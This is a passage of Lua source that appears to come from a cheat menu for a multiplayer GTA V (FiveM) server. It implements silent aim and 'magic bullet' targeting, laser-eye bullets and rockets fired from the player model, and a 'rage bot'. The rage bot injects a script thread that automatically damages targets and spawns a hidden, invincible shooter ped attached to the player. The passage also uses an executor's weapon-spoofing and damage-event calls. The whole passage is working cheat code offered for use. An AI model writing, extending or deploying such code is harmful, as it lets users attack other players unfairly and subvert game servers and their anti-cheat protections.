}, { id = 24818, w = 8 }, { id = 24816, w = 7 }, { id = 39317, w = 6 }, { id = 11816, w = 6 }, { id = 18905, w = 5 }, { id = 57005, w = 5 }, { id = 61163, w = 5 }, { id = 40269, w = 5 }, { id = 45509, w = 4 }, { id = 28252, w = 4 }, { id = 58271, w = 4 }, { id = 51826, w = 4 }, { id = 63931, w = 3 }, { id = 36864, w = 3 }, { id = 14201, w = 2 }, { id = 52301, w = 2 }, { id = 31086, w = 2 } } local totalWeight = 0 for _, bone in ipairs(weightedBones) do totalWeight = totalWeight + bone.w end local roll = math.random(1, totalWeight) local weight = 0 for _, bone in ipairs(weightedBones) do weight = weight + bone.w if roll <= weight then randomBoneId = bone.id break end end if randomBoneId == 24817 or randomBoneId == 24818 or randomBoneId == 24816 or randomBoneId == 11816 then boneMode = 2 else boneMode = 99 end end local coord if boneMode == 2 and not randomBoneId then coord = menu.functions.getSilentAimBodyBoneCoords(targetPed) or GetEntityCoords(targetPed) elseif randomBoneId then local boneCoords = GetPedBoneCoords(targetPed, randomBoneId, 0.0, 0.0, 0.0) if boneCoords and boneCoords.x ~= 0.0 and boneCoords.y ~= 0.0 and boneCoords.z ~= 0.0 then coord = boneCoords else coord = menu.utils.getTargetBonePosition(targetPed, randomBoneId) or GetEntityCoords(targetPed) end elseif boneMode == 1 then coord = menu.functions.getSilentAimHeadBoneCoords(targetPed) or GetEntityCoords(targetPed) else local boneId = ({ [3] = 18905, [4] = 57005 })[boneMode] if boneId then local boneCoords = GetPedBoneCoords(targetPed, boneId, 0.0, 0.0, 0.0) if boneCoords and not (boneCoords.x == 0.0 and boneCoords.y == 0.0 and boneCoords.z == 0.0) then coord = boneCoords else coord = menu.utils.getTargetBonePosition(targetPed, boneId) or GetEntityCoords(targetPed) end else coord = menu.functions.getSilentAimHeadBoneCoords(targetPed) or GetEntityCoords(targetPed) end end return { coord = coord, boneMode = boneMode, randomBoneId = randomBoneId } end function assembledMenuFunctions.getSilentAimTargetCoordForPed(targetPed) local target = menu.functions.getSilentAimTargetForPed(targetPed) return target and target.coord or nil end function assembledMenuFunctions.buildSilentAimMagicBulletShot(entity, ped, target) if not entity or not ped or not target or not target.coord then return nil end local coord = target.coord local boneMode = target.boneMode or 1 local entityCoords = GetEntityCoords(entity) local direction = entityCoords - coord local length = math.sqrt(direction.x * direction.x + direction.y * direction.y + direction.z * direction.z) if length > 0.01 then direction = direction / length else direction = vector3(0, 0, 1) end local horizontalOnly = boneMode == 3 or boneMode == 4 if horizontalOnly then direction = vector3(direction.x, direction.y, 0.0) length = math.sqrt(direction.x * direction.x + direction.y * direction.y) if length > 0.01 then direction = direction / length else direction = vector3(1, 0, 0) end end local offset = 0.15 local vehicle = 0 local inVehicle = IsPedInAnyVehicle(ped, false) local ignoredEntity = entity if inVehicle then vehicle = GetVehiclePedIsIn(ped, false) if vehicle ~= 0 and DoesEntityExist(vehicle) then ignoredEntity = vehicle local vehicleClass = GetVehicleClass(vehicle) if vehicleClass == 8 or vehicleClass == 13 then offset = 0.25 end end end local startPos, endPos if boneMode == 2 then startPos = vector3(coord.x, coord.y, coord.z - 1.0) endPos = coord else startPos = coord + direction * offset endPos = coord end if inVehicle and vehicle ~= 0 and DoesEntityExist(vehicle) and menu.utils.getSilentAimVehicleShotStart then local vehicleStart = menu.utils.getSilentAimVehicleShotStart(vehicle, entityCoords, coord) if vehicleStart then startPos = vehicleStart end end return { startPos = startPos, endPos = endPos, ignoredEntity = ignoredEntity } end function assembledMenuFunctions.getLazerEyesSilentAimShotContext(entity) if not menu.vars.bools or not menu.vars.bools.lazerEyesSilentAimSupport or not menu.vars.bools.silentAim then return nil end local targetPed = menu.functions.getSilentAimBestTargetPed(entity) if not targetPed then return nil end local target = menu.functions.getSilentAimTargetForPed(targetPed) if not target or not target.coord then return nil end local mode = menu.vars.selectors and menu.vars.selectors.silentAimMode or 1 local useMagicBullet = mode == 2 local context = { targetPed = targetPed, endPos = target.coord, useMagicBullet = useMagicBullet } if useMagicBullet then local shot = menu.functions.buildSilentAimMagicBulletShot(entity, targetPed, target) if not shot then return nil end context.startPos = shot.startPos context.endPos = shot.endPos context.ignoredEntity = shot.ignoredEntity end return context end function assembledMenuFunctions.getLazerEyesSilentAimTargetCoord(entity) local context = menu.functions.getLazerEyesSilentAimShotContext(entity) return context and context.endPos or nil end function assembledMenuFunctions.getLazerEyesAimDirection(entity) if not entity then entity = PlayerPedId() end if GetWorldCoordFromScreenCoord then local _, _, direction = GetWorldCoordFromScreenCoord(0.5, 0.5) if direction then local length = math.sqrt(direction.x * direction.x + direction.y * direction.y + direction.z * direction.z) if length > 0.001 then return vector3(direction.x / length, direction.y / length, direction.z / length) end end end local cameraCoord = GetFinalRenderedCamCoord() if not cameraCoord then cameraCoord = GetGameplayCamCoord() end local cameraRotation = GetFinalRenderedCamRot(2) if not cameraRotation then cameraRotation = GetGameplayCamRot(2) end if not cameraCoord or not cameraRotation then return nil end local direction = vector3( -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.sin(math.rad(cameraRotation.x)) ) local length = #direction if length < 0.001 then return nil end return direction / length end function assembledMenuFunctions.getLazerEyesAimContext(entity) if not entity then entity = PlayerPedId() end local forward = menu.functions.getLazerEyesAimDirection(entity) if not forward then return nil end local context = { forward = forward, hasHit = false, target = nil, aimDistance = 1000.0 } if forward.z > 0.05 then return context end local cameraCoord = GetFinalRenderedCamCoord() if not cameraCoord then cameraCoord = GetGameplayCamCoord() end if not cameraCoord then return context end local endCoord = vector3( cameraCoord.x + forward.x * 1000.0, cameraCoord.y + forward.y * 1000.0, cameraCoord.z + forward.z * 1000.0 ) local ray = StartShapeTestRay( cameraCoord.x, cameraCoord.y, cameraCoord.z, endCoord.x, endCoord.y, endCoord.z, -1, entity, 0 ) local result, hit, hitCoord, _, hitEntity = GetShapeTestResult(ray) if result == 1 or not hit or not hitCoord then return context end local x = hitCoord.x - cameraCoord.x local y = hitCoord.y - cameraCoord.y local z = hitCoord.z - cameraCoord.z local distance = math.sqrt(x * x + y * y + z * z) if distance < 0.001 then return context end local alignment = x / distance * forward.x + y / distance * forward.y + z / distance * forward.z if alignment < 0.98 then return context end context.hasHit = true if hitEntity and hitEntity ~= 0 and DoesEntityExist(hitEntity) and IsEntityAPed(hitEntity) then context.hitPed = hitEntity context.target = GetPedBoneCoords(hitEntity, 31086, 0.0, 0.0, 0.0) or hitCoord else context.target = hitCoord end return context end function assembledMenuFunctions.getLazerEyesTargetForOrigin(context, origin) if not context or not origin or not context.forward then return nil end if context.hasHit and context.target then return context.target end local distance = context.aimDistance or 1000.0 return vector3( origin.x + context.forward.x * distance, origin.y + context.forward.y * distance, origin.z + context.forward.z * distance ) end function assembledMenuFunctions.getLazerEyesDickOrigin(entity, direction) if not entity or entity == 0 or not DoesEntityExist(entity) then return nil end if not direction then direction = menu.functions.getLazerEyesAimDirection(entity) end if not direction then direction = GetEntityForwardVector(entity) end if not direction then return nil end local length = math.sqrt(direction.x * direction.x + direction.y * direction.y + direction.z * direction.z) if length < 0.001 then return nil end direction = vector3(direction.x / length, direction.y / length, direction.z / length) local origin = GetOffsetFromEntityInWorldCoords(entity, 0.0, 0.22, 0.02) if not origin then origin = GetPedBoneCoords(entity, 11816, 0.0, 0.0, 0.0) if not origin then return nil end end local distance = 0.62 return vector3( origin.x + direction.x * distance, origin.y + direction.y * distance, origin.z + direction.z * distance + 0.1 ) end function assembledMenuFunctions.getLazerEyesShootOrigins(entity, direction) if not entity or entity == 0 or not DoesEntityExist(entity) then return nil end if menu.vars.bools and menu.vars.bools.lazerEyesShootFromDick then local origin = menu.functions.getLazerEyesDickOrigin(entity, direction) if not origin then return nil end return { origin } end local origin = GetPedBoneCoords(entity, 31086, 0.0, 0.0, 0.0) if not origin then return nil end if not direction then return { origin } end local up = vector3(0.0, 0.0, 1.0) local side = vector3( direction.y * up.z - direction.z * up.y, direction.z * up.x - direction.x * up.z, direction.x * up.y - direction.y * up.x ) local length = math.sqrt(side.x * side.x + side.y * side.y + side.z * side.z) if length < 0.05 then local heading = math.rad(GetEntityHeading(entity)) side = vector3(-math.sin(heading), math.cos(heading), 0.0) length = 1.0 else side = vector3(side.x / length, side.y / length, side.z / length) end local offset = 0.035 return { vector3(origin.x - side.x * offset, origin.y - side.y * offset, origin.z + 0.02), vector3(origin.x + side.x * offset, origin.y + side.y * offset, origin.z + 0.02) } end function assembledMenuFunctions.isLazerEyesFireKeyHeld() if ImGuiKey and ImGuiKey.E and Ham.isKeyDown and Ham.isKeyDown(ImGuiKey.E) then return true end if IsDisabledControlPressed(0, 38) or IsControlPressed(0, 38) then return true end return false end function assembledMenuFunctions.isLazerEyesRocketKeyHeld() if ImGuiKey and ImGuiKey.Q and Ham.isKeyDown and Ham.isKeyDown(ImGuiKey.Q) then return true end if IsDisabledControlPressed(0, 44) or IsControlPressed(0, 44) then return true end return false end function assembledMenuFunctions.drawLazerEyesHint() if not menu.drawing or not menu.drawing.drawDescriptionBar then return end menu.drawing.drawDescriptionBar("E for Lazer Q For Rockets", 0, 0, 0, {}, 0, true) end function assembledMenuFunctions.isValidPedBoneCoord(coords, origin, maxDistance) if not coords or coords.x == nil or coords.y == nil or coords.z == nil then return false end if coords.x == 0.0 and coords.y == 0.0 and coords.z == 0.0 then return false end if not origin then return true end local distance = #(vector3(coords.x, coords.y, coords.z) - origin) if distance > (maxDistance or 3.5) then return false end if coords.z < origin.z - 1.5 then return false end return true end function assembledMenuFunctions.getReliablePedBoneWorldCoord(entity, boneId, origin) if not entity or entity == 0 or not DoesEntityExist(entity) then return nil end if not origin then origin = GetEntityCoords(entity) end local boneIndex = GetPedBoneIndex(entity, boneId) if boneIndex ~= nil and boneIndex ~= -1 then if GetWorldPositionOfEntityBone then local coords = GetWorldPositionOfEntityBone(entity, boneIndex) if menu.functions.isValidPedBoneCoord(coords, origin) then return vector3(coords.x, coords.y, coords.z) end end local coords = GetPedBoneCoords(entity, boneIndex, 0.0, 0.0, 0.0) if menu.functions.isValidPedBoneCoord(coords, origin) then return vector3(coords.x, coords.y, coords.z) end end if menu.utils and menu.utils.getTargetBonePosition then local coords = menu.utils.getTargetBonePosition(entity, boneId) if menu.functions.isValidPedBoneCoord(coords, origin) then return vector3(coords.x, coords.y, coords.z) end end return nil end function assembledMenuFunctions.getPedHeadForwardVector(entity, vector, otherVector) if vector and otherVector then local directionX = vector.x - otherVector.x local directionY = vector.y - otherVector.y local directionZ = vector.z - otherVector.z local length = math.sqrt(directionX * directionX + directionY * directionY + directionZ * directionZ) if length > 0.01 then local unitX = directionX / length local unitY = directionY / length local unitZ = directionZ / length local rotation = GetEntityRotation(entity, 2) local yaw = math.rad(rotation.z or 0.0) local pitch = math.rad(rotation.x or 0.0) local horizontalScale = math.abs(math.cos(pitch)) local forwardX = -math.sin(yaw) * horizontalScale local forwardY = math.cos(yaw) * horizontalScale local forwardZ = math.sin(pitch) local projection = forwardX * unitX + forwardY * unitY + forwardZ * unitZ local perpendicularX = forwardX - unitX * projection local perpendicularY = forwardY - unitY * projection local perpendicularZ = forwardZ - unitZ * projection local perpendicularLength = math.sqrt( perpendicularX * perpendicularX + perpendicularY * perpendicularY + perpendicularZ * perpendicularZ ) if perpendicularLength > 0.01 then return vector3( perpendicularX / perpendicularLength, perpendicularY / perpendicularLength, perpendicularZ / perpendicularLength ) end end end local forward = GetEntityForwardVector(entity) if forward then local horizontalLength = math.sqrt(forward.x * forward.x + forward.y * forward.y) if horizontalLength > 0.01 then return vector3(forward.x / horizontalLength, forward.y / horizontalLength, forward.z) end return forward end return vector3(0.0, 1.0, 0.0) end function assembledMenuFunctions.getRageBotFaceBulletTrajectory(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return nil, nil end local entityCoords = GetEntityCoords(entity) local head = menu.functions.getReliablePedBoneWorldCoord(entity, 31086, entityCoords) if not head and menu.functions.getSilentAimHeadBoneCoords then head = menu.functions.getSilentAimHeadBoneCoords(entity) end if not menu.functions.isValidPedBoneCoord(head, entityCoords) then return nil, nil end local neck = menu.functions.getReliablePedBoneWorldCoord(entity, 39317, entityCoords) if not neck then neck = menu.functions.getReliablePedBoneWorldCoord(entity, 24818, entityCoords) end local forward = menu.functions.getPedHeadForwardVector(entity, head, neck) local target = vector3(head.x + forward.x, head.y + forward.y, head.z + forward.z) local chest = menu.functions.getReliablePedBoneWorldCoord(entity, 24818, entityCoords) local start if chest then start = chest else start = vector3(head.x - forward.x * 0.25, head.y - forward.y * 0.25, head.z - forward.z * 0.25) end if not menu.functions.isValidPedBoneCoord(target, entityCoords, 4.0) or not menu.functions.isValidPedBoneCoord(start, entityCoords, 4.0) then return nil, nil end return target, start end function assembledMenuFunctions.fireRageBotLocalVisualPistolBurst(entity, shooter, shotCount, duration) shotCount = math.floor(tonumber(shotCount) or 50) duration = math.floor(tonumber(duration) or 50) if shotCount < 1 then return end if not shooter then shooter = PlayerPedId() end if not entity or entity == 0 or not DoesEntityExist(entity) or not shooter or shooter == 0 or not DoesEntityExist(shooter) then return end local weaponHash = GetHashKey("WEAPON_PISTOL") local delay = math.max(0, math.floor(duration / shotCount)) local target, start = menu.functions.getRageBotFaceBulletTrajectory(entity) if not target or not start then return end for shot = 1, shotCount do if not DoesEntityExist(entity) or IsEntityDead(entity) or IsPedDeadOrDying(entity, true) then return end if shot == 1 or shot % 10 == 0 then local newTarget, newStart = menu.functions.getRageBotFaceBulletTrajectory(entity) if newTarget and newStart then target, start = newTarget, newStart end end menu.functions.fireLazerEyesBulletBetween(target, start, weaponHash, shooter, entity, 0, nil) if shotCount > shot then if delay > 0 then Wait(delay) else Wait(0) end end end end function assembledMenuFunctions.triggerRageBotLocalVisualPistolBurstOnDamage(entity, shooter) if not entity or entity == 0 or not DoesEntityExist(entity) then return end if not shooter then shooter = PlayerPedId() end CreateThread(function() menu.functions.fireRageBotLocalVisualPistolBurst(entity, shooter, 50, 50) end) end function assembledMenuFunctions.fireLazerEyesBulletBetween( startPos, endPos, weaponHash, shooter, ignoredEntity, damage, speed ) if not startPos or not endPos then return end RequestCollisionAtCoord(startPos.x, startPos.y, startPos.z) RequestAdditionalCollisionAtCoord(startPos.x, startPos.y, startPos.z) RequestCollisionAtCoord(endPos.x, endPos.y, endPos.z) RequestAdditionalCollisionAtCoord(endPos.x, endPos.y, endPos.z) if not speed then local x = endPos.x - startPos.x local y = endPos.y - startPos.y local z = endPos.z - startPos.z local distance = math.sqrt(x * x + y * y + z * z) if distance < 0.01 then distance = 0.01 end speed = math.min(math.max(distance * 2.0, 2000.0), 10000.0) end if ShootSingleBulletBetweenCoordsIgnoreEntity then ShootSingleBulletBetweenCoordsIgnoreEntity( startPos.x, startPos.y, startPos.z, endPos.x, endPos.y, endPos.z, damage or 0, true, weaponHash, shooter, true, false, speed, ignoredEntity or shooter, true, false, true, true, true, false ) return end ShootSingleBulletBetweenCoords( startPos.x, startPos.y, startPos.z, endPos.x, endPos.y, endPos.z, damage or 0, true, weaponHash, shooter, true, false, speed ) end function assembledMenuFunctions.fireLazerEyesRockets(count) count = math.max(1, math.floor(tonumber(count) or 1)) for _ = 1, count do menu.functions.fireLazerEyesRocket() end end function assembledMenuFunctions.fireLazerEyesRocket() local playerPed = PlayerPedId() if not playerPed or playerPed == 0 or not DoesEntityExist(playerPed) or IsEntityDead(playerPed) then return end local aim = menu.functions.getLazerEyesAimContext(playerPed) if not aim or not aim.forward then return end local forward = aim.forward local startPos if menu.vars.bools and menu.vars.bools.lazerEyesShootFromDick then startPos = menu.functions.getLazerEyesDickOrigin(playerPed, forward) else local coords = GetEntityCoords(playerPed) startPos = vector3(coords.x + forward.x * 0.35, coords.y + forward.y * 0.35, coords.z + 0.55) end if not startPos then return end RequestCollisionAtCoord(startPos.x, startPos.y, startPos.z) RequestAdditionalCollisionAtCoord(startPos.x, startPos.y, startPos.z) local shot = menu.functions.getLazerEyesSilentAimShotContext(playerPed) local initialStart = startPos local endPos local ignoredEntity = playerPed if shot then endPos = shot.endPos if shot.useMagicBullet and shot.startPos then startPos = shot.startPos ignoredEntity = shot.ignoredEntity or playerPed end else endPos = menu.functions.getLazerEyesTargetForOrigin(aim, initialStart) end if not endPos then return end local rocketHash = GetHashKey("WEAPON_RPG") local visualWeaponHash = menu.functions.getLazerEyesVisualWeaponHash() SetCurrentPedWeapon(playerPed, visualWeaponHash, true) RemoveWeaponFromPed(playerPed, rocketHash) GiveWeaponToPed(playerPed, rocketHash, 250, true, false) RequestCollisionAtCoord(endPos.x, endPos.y, endPos.z) RequestAdditionalCollisionAtCoord(endPos.x, endPos.y, endPos.z) local x = endPos.x - startPos.x local y = endPos.y - startPos.y local z = endPos.z - startPos.z local distance = math.sqrt(x * x + y * y + z * z) if distance < 0.01 then distance = 0.01 end local speed = math.min(math.max(distance * 2.0, 2000.0), 10000.0) local damage = menu.functions.getRageBotDamage() if ShootSingleBulletBetweenCoordsIgnoreEntity then ShootSingleBulletBetweenCoordsIgnoreEntity( startPos.x, startPos.y, startPos.z, endPos.x, endPos.y, endPos.z, damage, true, rocketHash, playerPed, true, false, speed, ignoredEntity, true, false, true, true, true, false ) else ShootSingleBulletBetweenCoords( startPos.x, startPos.y, startPos.z, endPos.x, endPos.y, endPos.z, damage, true, rocketHash, playerPed, true, false, speed ) end RemoveWeaponFromPed(playerPed, rocketHash) SetCurrentPedWeapon(playerPed, visualWeaponHash, true) if menu.functions.applyLazerEyesHam then menu.functions.applyLazerEyesHam() end end function assembledMenuFunctions.fireLazerEyesBullets(count) count = math.max(1, math.floor(tonumber(count) or 1)) local playerPed = PlayerPedId() if not playerPed or playerPed == 0 or not DoesEntityExist(playerPed) or IsEntityDead(playerPed) then return end local aim = menu.functions.getLazerEyesAimContext(playerPed) if not aim then return end local origins = menu.functions.getLazerEyesShootOrigins(playerPed, aim.forward) if not origins then return end local weaponHash = menu.functions.getLazerEyesHamWeaponHash() local visualWeaponHash = menu.functions.getLazerEyesVisualWeaponHash() if menu.functions.clearLazerEyesHam then menu.functions.clearLazerEyesHam() end if Ham and Ham.weaponSpoof then Ham.weaponSpoof(false) end RemoveWeaponFromPed(playerPed, weaponHash) GiveWeaponToPed(playerPed, weaponHash, 250, true, false) for _ = 1, count do local shot = menu.functions.getLazerEyesSilentAimShotContext(playerPed) if shot and shot.useMagicBullet and shot.startPos and shot.endPos then local endPos = shot.endPos local ignoredEntity = shot.ignoredEntity or playerPed for index = 1, #origins do menu.functions.fireLazerEyesBulletBetween( origins[index], endPos, weaponHash, playerPed, playerPed, 0, nil ) end menu.functions.fireLazerEyesBulletBetween( shot.startPos, endPos, weaponHash, playerPed, ignoredEntity, 23, nil ) else for index = 1, #origins do local origin = origins[index] local endPos = shot and shot.endPos or menu.functions.getLazerEyesTargetForOrigin(aim, origin) if endPos then menu.functions.fireLazerEyesBulletBetween( origin, endPos, weaponHash, playerPed, playerPed, 23, nil ) end end end end RemoveWeaponFromPed(playerPed, weaponHash) SetCurrentPedWeapon(playerPed, visualWeaponHash, true) if menu.functions.applyLazerEyesHam then menu.functions.applyLazerEyesHam() end end function assembledMenuFunctions.toggleRageBot(toggleOptions) if toggleOptions.toggleState then local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then menu.vars._rageBotHadPistol50 = HasPedGotWeapon(playerPed, GetHashKey("WEAPON_PISTOL50"), false) else menu.vars._rageBotHadPistol50 = false end menu.functions.ensureRageBotBulletTypeLayout() local bulletIndex = menu.functions.getRageBotBulletIdx() local pistolOnlyServer = menu.functions.isRageBotPistolOnlyServer() if not pistolOnlyServer and (bulletIndex < 1 or bulletIndex > 2) then menu.vars.selectors.rageBotBulletType = 1 bulletIndex = 1 end menu.functions.applyRageBotBulletHam() menu.functions.changeRageBotBulletType() menu.functions.applyRageBotVisualWeapon() local friendEntries = {} for serverId, enabled in pairs(menu.vars.friendList or {}) do if enabled then local numericId = tonumber(serverId) if numericId then table.insert(friendEntries, string.format("[%d]=true", numericId)) end end end local friendList = "{" .. table.concat(friendEntries, ",") .. "}" local metrics = menu.utils.getAimFovScreenMetrics() local radius = menu.utils.getAimFovRadiusPixels(menu.vars.sliders.rageBotFov or 50) local rageScript = [[ local function GetTargetBonePosition(targetPed, boneId) if not DoesEntityExist(targetPed) then return nil end local boneIndex = GetPedBoneIndex(targetPed, boneId) if boneIndex == -1 then return GetEntityCoords(targetPed, true) end return GetPedBoneCoords(targetPed, boneId, 0.0, 0.0, 0.0) end local function IsMenuSpawnedPed(ped) if not ped or ped == 0 or not DoesEntityExist(ped) then return false end if type(Entity) ~= "function" then return false end local okEntity, ent = pcall(Entity, ped) if not okEntity or not ent or not ent.state then return false end local okRead, isSpawned = pcall(function() return ent.state["pm_menu_spawned"] end) return okRead and isSpawned == true end local function FetchAllPeds() if GetGamePool then return GetGamePool("CPed") or {} end if not FindFirstPed or not FindNextPed or not EndFindPed then return {} end local peds = {} local handle, ped = FindFirstPed() local success = true if handle and handle ~= -1 then repeat if ped and ped ~= 0 then peds[#peds + 1] = ped end success, ped = FindNextPed(handle) until not success EndFindPed(handle) end return peds end local pmFriendList = ]] .. friendList .. [[ local function IsFriendPed(ped) if not ped or ped == 0 or not DoesEntityExist(ped) or not IsPedAPlayer(ped) then return false end local pid = NetworkGetPlayerIndexFromPed(ped) if not pid or pid == -1 then return false end local sid = GetPlayerServerId(pid) return sid and (pmFriendList[sid] == true or pmFriendList[tostring(sid)] == true) or false end _G.rageBotFov = ]] .. (menu.vars.sliders.rageBotFov or 50) .. " _G.rageBotFovRadiusPixels = " .. radius .. " _G.rageBotHamX = " .. metrics.hamX .. " _G.rageBotHamY = " .. metrics.hamY .. " _G.rageBotHamCenterX = " .. metrics.hamCenterX .. " _G.rageBotHamCenterY = " .. metrics.hamCenterY .. " _G.rageBotTargetNpcs = " .. (menu.vars.bools.rageBotNpc and "true" or "false") .. [[ _G.Citizen.Bongs.rageBotTargetNpcs = _G.rageBotTargetNpcs _G.Citizen.Bongs.rageBotBulletIdx = ]] .. bulletIndex .. " _G.rageBotCooldownKills = " .. menu.functions.getRageBotCooldownKillLimit() .. " _G.rageBotCooldownSeconds = " .. menu.functions.getRageBotCooldownSeconds() .. " _G.rageBotDamageDelay = " .. menu.functions.getRageBotDamageDelay() .. " _G.rageBotDamage = " .. menu.functions.getRageBotDamage() .. " _G.rageBotBurstHits = " .. menu.functions.getRageBotBurstHitCount() .. [[ Citizen.CreateThread(function() _G.Citizen.Bongs.enableRage = true _G.Citizen.Bongs.doSilentRage = "false" local npcCandidateCache = { lastUpdate = 0, peds = {} } local cooldownState = { windowStart = 0, killsUsed = 0 } local killWatch = {} local lockedTargetPed = nil local npcBurstState = {} local function fireNpcBurstShot(shot) if not shot then return end local ped = shot.target local now = GetGameTimer() local maxHits = _G.rageBotBurstHits or 8 local baseInterval = _G.rageBotDamageDelay or 25 local minInterval = math.max(50, baseInterval) local interval = math.random(minInterval, minInterval + 60) local state = npcBurstState[ped] if not state then state = { hits = 0, nextHitAt = now, done = false } npcBurstState[ped] = state end if state.done or state.hits >= maxHits then state.done = true return end if now < state.nextHitAt then return end trackKillWatchPed(ped) ApplyDamageToPed(ped, shot.damage, false) local healthAfter = GetEntityHealth(ped) or 0 if shot.healthBefore > 0 and healthAfter >= shot.healthBefore then SetEntityHealth(ped, math.max(0, shot.healthBefore - shot.damage)) end state.hits = state.hits + 1 state.nextHitAt = now + interval if state.hits >= maxHits then state.done = true end end local function isCooldownLimited() return (_G.rageBotCooldownKills or 0) > 0 end local function getCooldownWindowMs() local seconds = _G.rageBotCooldownSeconds or 10 if seconds < 1 then seconds = 1 end return seconds * 1000 end local function resetCooldownWindowIfNeeded() local maxKills = _G.rageBotCooldownKills or 0 if maxKills <= 0 then return end local now = GetGameTimer() local windowMs = getCooldownWindowMs() if cooldownState.windowStart == 0 or (now - cooldownState.windowStart) >= windowMs then cooldownState.windowStart = now cooldownState.killsUsed = 0 killWatch = {} lockedTargetPed = nil end end local function isValidLockedTarget(ped) if not ped or ped == 0 or not DoesEntityExist(ped) then return false end if IsEntityDead(ped) or IsPedDeadOrDying(ped, true) then return false end if IsFriendPed(ped) then return false end return true end local function clearLockedTargetIfInvalid() if lockedTargetPed and not isValidLockedTarget(lockedTargetPed) then lockedTargetPed = nil end end local function getLockedTargetPed() if not isCooldownLimited() then return nil end clearLockedTargetIfInvalid() return lockedTargetPed end local function setLockedTargetPed(ped) if not isCooldownLimited() then return end if isValidLockedTarget(ped) then lockedTargetPed = ped end end local function trackKillWatchPed(ped) local maxKills = _G.rageBotCooldownKills or 0 if maxKills <= 0 then return end if not ped or ped == 0 or not DoesEntityExist(ped) or IsEntityDead(ped) then return end killWatch[ped] = true end local function updateKillWatch() local maxKills = _G.rageBotCooldownKills or 0 if maxKills <= 0 then return end resetCooldownWindowIfNeeded() for ped, wasAlive in pairs(killWatch) do if not DoesEntityExist(ped) then killWatch[ped] = nil elseif wasAlive and (IsEntityDead(ped) or IsPedDeadOrDying(ped, true)) then killWatch[ped] = nil cooldownState.killsUsed = cooldownState.killsUsed + 1 if lockedTargetPed == ped then lockedTargetPed = nil end end end end local function getPendingAliveKillCount() local count = 0 for ped, wasAlive in pairs(killWatch) do if wasAlive and DoesEntityExist(ped) and not IsEntityDead(ped) and not IsPedDeadOrDying(ped, true) then count = count + 1 end end return count end local function canEngageNewTargets() local maxKills = _G.rageBotCooldownKills or 0 if maxKills <= 0 then return true end resetCooldownWindowIfNeeded() return (cooldownState.killsUsed + getPendingAliveKillCount()) < maxKills end -- Bones scanned for on-screen targeting (head/spine/limbs). local targetBones = { 0x796E, 0x9995, 0xB1C5, 0x9D4D, 0x58B7, 0x0BB0, 0x49D9, 0xDEAD, 0x2E28, 0xCA72, 0xE39F, 0x9000, 0xF9BB, 0xCC4D, 0x3779, 0x512D, 0x083C, } -- FOV context, refreshed at the top of every loop iteration. local resX, resY = 0, 0 local radiusPixels = 0 -- Closest on-screen bone for a target; when requireFov is set the bone -- must also fall inside the FOV circle, otherwise returns nil. local function getBestTargetBone(target, requireFov) local bestCoord = nil local bestDistPx = 1e9 local hamX = _G.rageBotHamX or resX local hamY = _G.rageBotHamY or resY local centerX = _G.rageBotHamCenterX or (hamX * 0.5) local centerY = _G.rageBotHamCenterY or (hamY * 0.5) for i = 1, #targetBones do local coord = GetTargetBonePosition(target, targetBones[i]) if coord and coord.x then local onScreen, sx, sy = GetScreenCoordFromWorldCoord(coord.x, coord.y, coord.z) if onScreen then local px = sx * hamX local py = sy * hamY local dx = px - centerX local dy = py - centerY local distPx = math.sqrt(dx * dx + dy * dy) if (not requireFov or distPx <= radiusPixels) and distPx < bestDistPx then bestDistPx = distPx bestCoord = coord end end end end return bestCoord end -- Validates an NPC target and resolves its aim bone. Returns nil when the -- ped is invalid, a friend, or (unless ignoreFovCheck) outside the FOV. local function buildNpcShot(target, ignoreFovCheck) if not target or target == 0 or not DoesEntityExist(target) or IsEntityDead(target) then return nil end if IsFriendPed(target) then return nil end local targetCoord if ignoreFovCheck then targetCoord = getBestTargetBone(target, true) or getBestTargetBone(target, false) else targetCoord = getBestTargetBone(target, true) end if not targetCoord then return nil end local baseDamage = _G.rageBotDamage or 20 local minDamage = math.max(8, math.floor(baseDamage * 0.65)) local maxDamage = math.max(minDamage + 1, math.floor(baseDamage * 1.45)) local damage = math.random(minDamage, maxDamage) return { target = target, damage = damage, healthBefore = GetEntityHealth(target) or 0 } end local function fireNpcShot(shot) fireNpcBurstShot(shot) end local function isTargetableNpc(ped, playerPed) return ped ~= playerPed and DoesEntityExist(ped) and not IsPedAPlayer(ped) and not IsMenuSpawnedPed(ped) end -- Silent mode fires from a hidden, invincible ped attached under the player. local function ensureSilentRageShooter(playerPed, playerCoords) local shooter = _G.Citizen.Bongs.shooterPed if not shooter or not DoesEntityExist(shooter) then local modelName = _G.Citizen.Bongs.silentRagePedModel if not modelName or modelName == "" then Citizen.Wait(250) return end local model = GetHashKey(modelName) RequestModel(model) while not HasModelLoaded(model) do Wait(0) end shooter = CreatePed(4, model, playerCoords.x, playerCoords.y, playerCoords.z + silentRageZOffset, 0.0, true, true) _G.Citizen.Bongs.shooterPed = shooter pcall(function() local ent = Entity(shooter) if ent and ent.state then ent.state:set("pm_menu_spawned", true, true) end end) SetEntityAlpha(shooter, 0, false) SetEntityInvincible(shooter, true) FreezeEntityPosition(shooter, false) SetBlockingOfNonTemporaryEvents(shooter, true) AttachEntityToEntity(shooter, playerPed, 0, 0.0, 0.0, silentRageZOffset, 0.0, 0.0, 0.0, false, false, false, false, 2, true) SetModelAsNoLongerNeeded(model) return end if not IsEntityAttachedToEntity(shooter, playerPed) then AttachEntityToEntity(shooter, playerPed, 0, 0.0, 0.0, silentRageZOffset, 0.0, 0.0, 0.0, false, false, false, false, 2, true) end SetEntityAlpha(shooter, 0, false) end while _G.Citizen.Bongs.enableRage do local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) if _G.Citizen.Bongs.doSilentRage then ensureSilentRageShooter(playerPed, playerCoords) end resX, resY = GetActiveScreenResolution() radiusPixels = _G.rageBotFovRadiusPixels or (((_G.rageBotFov or 50) / 1000.0) * math.min(resX, resY)) updateKillWatch() -- Player damage is handled via Ham.sendWeaponDamageEvent in the menu thread; -- this injected thread only applies damage to NPCs. local allowNpcTargets = _G.Citizen.Bongs.rageBotTargetNpcs if allowNpcTargets == nil then allowNpcTargets = _G.rageBotTargetNpcs end if allowNpcTargets then local now = GetGameTimer() if now - npcCandidateCache.lastUpdate > 500 then npcCandidateCache.lastUpdate = now npcCandidateCache.peds = FetchAllPeds() end if isCooldownLimited() then -- Cooldown 